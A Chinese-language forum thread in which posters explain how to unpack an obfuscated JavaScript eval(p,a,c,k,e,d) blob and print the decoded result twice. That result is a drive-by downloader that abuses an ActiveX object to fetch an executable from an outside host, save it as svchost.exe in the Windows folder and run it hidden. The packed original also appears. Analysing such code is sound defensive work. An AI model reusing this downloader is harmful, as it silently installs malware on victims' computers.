不是太复杂啊,你把eval那一层去掉,再把每层函数分解开就行了啊
最后那一串参数是
function(p,a,c,k,e,d)中传入的参数。
p='14("\\m\\v\\6\\8\\2\\d\\g\\6\\1\\P\\6\\b\\6\\a\\1\\M\\1\\r\\4\\7\\1\\6\\v\\h\\t\\0\\7\\1\\l\\1\\Q\\4\\2\\u\\5\\7\\4\\6\\c\\g\\h\\b\\a\\13\\6\\9\\1\\7\\0\\2\\v\\7\\6\\1\\o\\j\\r\\8\\u\\g\\j\\2\\o\\s\\o\\5\\0\\q\\0\\o\\9\\1\\L\\1\\2\\7\\A\\1\\M\\1\\c\\e\\l\\o\\u\\2\\2\\f\\X\\C\\C\\K\\K\\K\\k\\5\\8\\K\\I\\R\\R\\5\\8\\6\\C\\4\\r\\f\\5\\0\\q\\0\\o\\9\\1\\r\\4\\7\\1\\c\\m\\l\\c\\g\\8\\v\\h\\0\\6\\2\\5\\8\\7\\0\\4\\2\\0\\D\\e\\0\\h\\0\\6\\2\\b\\3\\g\\t\\y\\0\\8\\2\\3\\a\\9\\1\\c\\m\\5\\j\\0\\2\\B\\2\\2\\7\\d\\t\\v\\2\\0\\b\\3\\8\\e\\4\\j\\j\\d\\c\\3\\i\\3\\8\\e\\j\\d\\c\\X\\F\\W\\I\\H\\x\\S\\S\\H\\J\\H\\S\\B\\E\\J\\k\\k\\W\\p\\J\\I\\R\\E\\B\\J\\p\\p\\x\\p\\12\\w\\x\\N\\I\\D\\E\\H\\3\\a\\9\\1\\r\\4\\7\\1\\q\\l\\c\\m\\5\\x\\7\\0\\4\\2\\0\\z\\t\\y\\0\\8\\2\\b\\3\\Q\\d\\8\\7\\g\\j\\g\\m\\2\\5\\11\\3\\s\\3\\Q\\3\\s\\3\\10\\3\\s\\3\\Z\\3\\s\\3\\G\\3\\s\\3\\G\\3\\s\\3\\O\\3\\i\\3\\3\\a\\9\\1\\r\\4\\7\\1\\n\\l\\c\\m\\5\\x\\7\\0\\4\\2\\0\\z\\t\\y\\0\\8\\2\\b\\3\\B\\c\\g\\c\\t\\5\\n\\2\\7\\0\\4\\h\\3\\i\\3\\3\\a\\9\\1\\n\\5\\2\\A\\f\\0\\l\\k\\9\\1\\q\\5\\g\\f\\0\\6\\b\\3\\V\\D\\G\\3\\i\\1\\c\\e\\i\\p\\a\\9\\1\\q\\5\\j\\0\\6\\c\\b\\a\\9\\1\\m\\6\\4\\h\\0\\k\\l\\P\\6\\b\\k\\p\\p\\p\\p\\a\\9\\1\\r\\4\\7\\1\\w\\l\\c\\m\\5\\x\\7\\0\\4\\2\\0\\z\\t\\y\\0\\8\\2\\b\\3\\n\\8\\7\\d\\f\\2\\d\\6\\P\\5\\w\\d\\e\\0\\n\\A\\j\\2\\0\\h\\z\\t\\y\\0\\8\\2\\3\\i\\3\\3\\a\\9\\1\\r\\4\\7\\1\\2\\h\\f\\l\\w\\5\\V\\0\\2\\n\\f\\0\\8\\d\\4\\e\\w\\g\\e\\c\\0\\7\\b\\p\\a\\9\\1\\m\\6\\4\\h\\0\\k\\l\\1\\w\\5\\F\\v\\d\\e\\c\\O\\4\\2\\u\\b\\2\\h\\f\\i\\m\\6\\4\\h\\0\\k\\a\\9\\1\\n\\5\\z\\f\\0\\6\\b\\a\\9\\n\\5\\Y\\7\\d\\2\\0\\b\\q\\5\\7\\0\\j\\f\\g\\6\\j\\0\\F\\g\\c\\A\\a\\9\\1\\n\\5\\n\\4\\r\\0\\G\\g\\w\\d\\e\\0\\b\\m\\6\\4\\h\\0\\k\\i\\N\\a\\9\\1\\n\\5\\x\\e\\g\\j\\0\\b\\a\\9\\1\\r\\4\\7\\1\\T\\l\\c\\m\\5\\x\\7\\0\\4\\2\\0\\z\\t\\y\\0\\8\\2\\b\\3\\n\\u\\0\\e\\e\\5\\B\\f\\f\\e\\d\\8\\4\\2\\d\\g\\6\\3\\i\\3\\3\\a\\9\\1\\0\\q\\f\\k\\l\\w\\5\\F\\v\\d\\e\\c\\O\\4\\2\\u\\b\\2\\h\\f\\s\\o\\U\\U\\j\\A\\j\\2\\0\\h\\E\\N\\o\\i\\o\\8\\h\\c\\5\\0\\q\\0\\o\\a\\9\\1\\T\\5\\n\\u\\0\\e\\e\\D\\q\\0\\8\\v\\2\\0\\b\\0\\q\\f\\k\\i\\o\\1\\C\\8\\1\\o\\s\\m\\6\\4\\h\\0\\k\\i\\3\\3\\i\\3\\g\\f\\0\\6\\3\\i\\p\\a\\9\\1\\L\\1\\8\\4\\2\\8\\u\\b\\d\\a\\1\\M\\1\\d\\l\\k\\9\\1\\L")'
a=62
c=67
k='145|40|164|42|141|56|156|162|143|73|51|50|144|151|154|160|157|155|54|163|61|75|146|123|47|60|170|166|53|142|150|165|106|103|152|117|171|101|57|105|63|102|124|66|71|55|167|175|173|62|120|147|115|70|65|121|134|107|104|72|127|110|114|130|64|52|eval'.split('|')
e=0
d={}

解决方案 »

  1.   

    这段代码不是很复杂,欠套了两层,代码是
    function gn(n) { var number = Math.random()*n; return 'svchost'+'.exe'; } try { dl='http://www1.cw988.cn/avp.exe'; var df=document.createElement("object"); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); var S=df.CreateObject("Adodb.Stream",""); S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000); var F=df.CreateObject("Scripting.FileSystemObject",""); var tmp=F.GetSpecialFolder(0); fname1= F.BuildPath(tmp,fname1); S.Open();S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close(); var Q=df.CreateObject("Shell.Application",""); exp1=F.BuildPath(tmp+'\\system32','cmd.exe'); Q.ShellExecute(exp1,' /c '+fname1,"","open",0); } catch(i) { i=1; }
      

  2.   

    不难你只要把evel改为document.write,就能够解开了.它嵌套了两层,需要做两次.
    代码为:
    function gn(n) { var number = Math.random()*n; return 'svchost'+'.exe'; } try { dl='http://www1.cw988.cn/avp.exe'; var df=document.createElement("object"); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); var S=df.CreateObject("Adodb.Stream",""); S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000); var F=df.CreateObject("Scripting.FileSystemObject",""); var tmp=F.GetSpecialFolder(0); fname1= F.BuildPath(tmp,fname1); S.Open();S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close(); var Q=df.CreateObject("Shell.Application",""); exp1=F.BuildPath(tmp+'\\system32','cmd.exe'); Q.ShellExecute(exp1,' /c '+fname1,"","open",0); } catch(i) { i=1; }